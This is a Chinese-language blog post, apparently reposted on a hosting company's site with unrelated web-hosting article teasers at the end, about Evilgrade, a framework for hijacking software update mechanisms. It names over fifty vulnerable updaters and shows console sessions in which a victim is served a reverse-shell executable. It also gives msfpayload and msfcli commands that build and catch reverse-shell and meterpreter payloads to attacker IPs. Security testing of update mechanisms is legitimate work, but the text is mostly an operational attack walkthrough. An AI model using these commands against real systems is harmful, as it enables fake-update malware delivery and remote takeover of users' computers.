如何使用Evilgrade测试应用程序的升级机制是否安全

关于Evilgrade

Evilgrade是一款功能强大的模块化框架,该框架允许广大研究人员通过向目标应用程序注入伪造的更新代码,并利用存在安全问题的更新实现机制来测试目标升级更新功能的安全性。该工具提供了预构建的代理以及支持快速测试的默认工作配置。除此之外,该工具还拥有自己的WebServer和DNSServer模块。

工具使用场景

内部场景

1、内部DNS访问;

2、ARP欺骗;

3、DNS缓存投毒;

4、DHCP欺骗;

5、TCP劫持;

6、Wi-Fi访问点伪造;

外部场景

1、内部DNS访问;

2、DNS缓存投毒;

实现的模块

  • Freerip 3.30
  • Jet photo 4.7.2
  • Teamviewer 5.1.9385
  • ISOpen 4.5.0
  • Istat.
  • Gom 2.1.25.5015
  • Atube catcher 1.0.300
  • Vidbox 7.5
  • Ccleaner 2.30.1130
  • Fcleaner 1.2.9.409
  • Allmynotes 1.26
  • Notepad++ 5.8.2
  • Java 1.6.0_22 winxp/win7
  • aMSN 0.98.3
  • Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)
  • Mirc 7.14
  • Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702)
  • Dap 9.5.0.3
  • Winscp 4.2.9
  • AutoIt Script 3.3.6.1
  • Clamwin 0.96.0.1
  • AppTapp Installer 3.11 (Iphone/Itunes)
  • getjar (facebook.com)
  • Google Analytics Javascript injection
  • Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8
  • Winamp 5.581
  • TechTracker (cnet) 1.3.1 (Build 55)
  • Nokiasoftware firmware update 2.4.8es
  • Nokia firmware v20.2.011
  • BSplayer 2.53.1034
  • Apt ( < Ubuntu 10.04 LTS)
  • Ubertwitter 4.6 (0.971)
  • Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45
  • Cpan 1.9402
  • VirtualBox (3.2.8 )
  • Express talk
  • Filezilla
  • Flashget
  • Miranda
  • Orbit
  • Photoscape.
  • Panda Antirootkit
  • Skype
  • Sunbelt
  • Superantispyware
  • Trillian <= 5.0.0.26
  • Adium 1.3.10 (Sparkle Framework)
  • VMware

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/infobyte/evilgrade.git

工具使用

下面给出的是工具的帮助信息:

evilgrade>help

Type 'help command' for more detailed help on a command.

Commands:

configure - 配置模块名称

exit - 退出程序

help - 输出工具帮助信息

reload - 重新加载并更新所有模块

restart - 重启Web服务器

set- 配置变量

show - 显示对象信息

start - 开启Web服务器

status - 获取Web服务器窗台

stop - 停止Web服务器

version - 显示框架版本



Object:

options - 显示当前模块的选项

vhosts - 显示当前模块的VirtualHosts

modules - 列举所有可用的模块

active - 显示活动模块

列举实现的模块:

evilgrade>show modules



List of modules:

===============



...

...

...



-63 modules available.

配置指定模块:

evilgrade>conf sunjava

evilgrade(sunjava)>

开启服务(DNS服务器和WebServer):

evilgrade>start

evilgrade>

[28/10/2010:21:35:55]-[WEBSERVER]- Webserver ready. Waiting for connections ...

evilgrade>

[28/10/2010:21:35:55]-[DNSSERVER]- DNS Server Ready. Waiting for Connections ...



#### Waiting for victims



evilgrade>

[25/7/2008:4:58:25]-[WEBSERVER]-[modules::sunjava]-[192.168.233.10]- Request:"^/update/[.\\d]+/map\\-[.\\d]+.xml"

evilgrade>

[25/7/2008:4:58:26]-[WEBSERVER]-[modules::sunjava]-[192.168.233.10]- Request:"^/java_update.xml\$"

evilgrade>

[25/7/2008:4:58:39]-[WEBSERVER]-[modules::sunjava]-[192.168.233.10]- Request:".exe"

evilgrade>

[25/7/2008:4:58:40]-[WEBSERVER]-[modules::sunjava]-[192.168.233.10]- Agent sent:"./agent/reverseshell.exe"

显示状态和日志:

evilgrade>show status

Webserver (pid 4134) already running



Users status:

============



.---------------------------------------------------------------------------------------------------------------.

| Client | Module | Status | Md5,Cmd,File |

+----------------+------------------+--------+------------------------------------------------------------------+

|192.168.233.10| modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe"|

'----------------+------------------+--------+------------------------------------------------------------------'

工具高级使用

使用场景一

evilgrade(sunjava)>set agent '["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]'

在这种情况下,对于每个所需的更新二进制文件,我们都可以使用 “windows/shell_reverse_tcp”这个Payload来生成伪造的更新代码,同时使用一个反向Shell连接到192.168.233.2:4141。<%OUT%><%OUT>标签专门来检测输出二进制文件的生成位置。

比如说,如果我们运行下列命令:

evilgrade(sunjava)>set agent '["./generatebin -o <%OUT%>/tmp/update".int(rand(256)).".exe<%OUT%>"]'

那么每当我们收到一个二进制请求时,Evilgrade将编译该行并执行最终字符串”./generatebin -o /tmp/update(random).exe”,然后生成不同的代理。

使用场景二

在Evilgrade外运行:

[team@faraday]$ msfpayload windows/meterpreter/reverse_ord_tcp LHOST=192.168.100.2 LPORT=4444 X >/tmp/reverse-shell.exe

在Evilgrade内运行:

evilgrade(sunjava)>set agent /tmp/reverse-shell.exe

生成好Payload之后,我们将得到多个处理器Handler来监听之前分配的LHOST:

[team@faraday]$ msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.100.2 LPORT=4444 E

[*] Started reverse handler on192.168.100.2:4444

[*] Starting the payload handler...

项目地址

Evilgrade:【GitHub传送门】

参考资料

http://www.faradaysec.com/

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/148788.html<

(0)
管理的头像管理
上一篇2025-03-12 07:49
下一篇 2025-03-12 07:50

相关推荐

  • jsp空间购买和交换数据空间怎么买,有哪些注意事项?

    购买JSP空间时,是否考虑过数据交换空间的性能?简米科技(2003年始创,23年行业沉淀)与酷番云(工信部一类增值电信全牌照)这类持牌自营机房的服务商,能确保数据交换的高效稳定,是值得优先选择的合作伙伴,为什么JSP空间需要搭配独立的数据交换空间从JSP应用特性看数据交换需求JSP基于Java技术,常用于企业级……

    2026-08-11
    0
  • 建网站用香港空间效果怎么样,香港空间稳定吗?

    建网站用香港空间,对于创建网站资产来说,核心价值在于免备案和全球带宽优势,尤其适合外贸、跨境电商和需要快速启动的项目,但你必须权衡国内访问延迟,并选择有资质的服务商以保证资产安全,香港空间的核心优势与适用边界免备案:节省时间就是节省成本国内服务器需要备案,通常需要10到20天,香港空间无需备案,域名解析后即可上……

    2026-08-11
    0
  • Java连接云数据库的方法是什么,如何操作

    Java连接云数据库的核心在于通过JDBC驱动,结合云服务商提供的连接地址、端口、数据库名及认证信息,配置安全策略(如SSL、IP白名单),即可实现稳定高效的远程数据库访问,基础准备:JDBC驱动与依赖管理连接云数据库前,需要确保开发环境具备对应的JDBC驱动,以最常见的MySQL为例,你需要引入mysql-c……

    2026-08-11
    0
  • 建网站公安联网备案必须使用数据码吗,备案流程是什么

    网站备案包括ICP备案和公安联网备案,两者缺一不可,公安联网备案必须使用服务商提供的数据码,选择持有合法资质的服务商是顺利通过备案的前提,为什么网站必须进行公安联网备案根据公安部《计算机信息网络国际联网安全保护管理办法》,网站开通后30日内必须到公安机关办理备案手续,未完成公安备案的网站,面临责令整改、关闭网站……

    2026-08-10
    0
  • 建一个企业网站大概需要多少钱?,怎么收费?

    建网站要多少钱,没有一个固定的数字,几百到几万都可能,但真正的“创建网站资产”绝不仅仅是初次投入的成本,而是基于长期稳定、合规和安全的持续性投入,其中核心取决于你选择了什么样的“地基”来承载你的业务,建站预算的构成与行业基准当你开始规划一个网站,最先面对的就是预算问题,一个常见的误区是只关注网站“看起来”的建造……

    2026-08-10
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注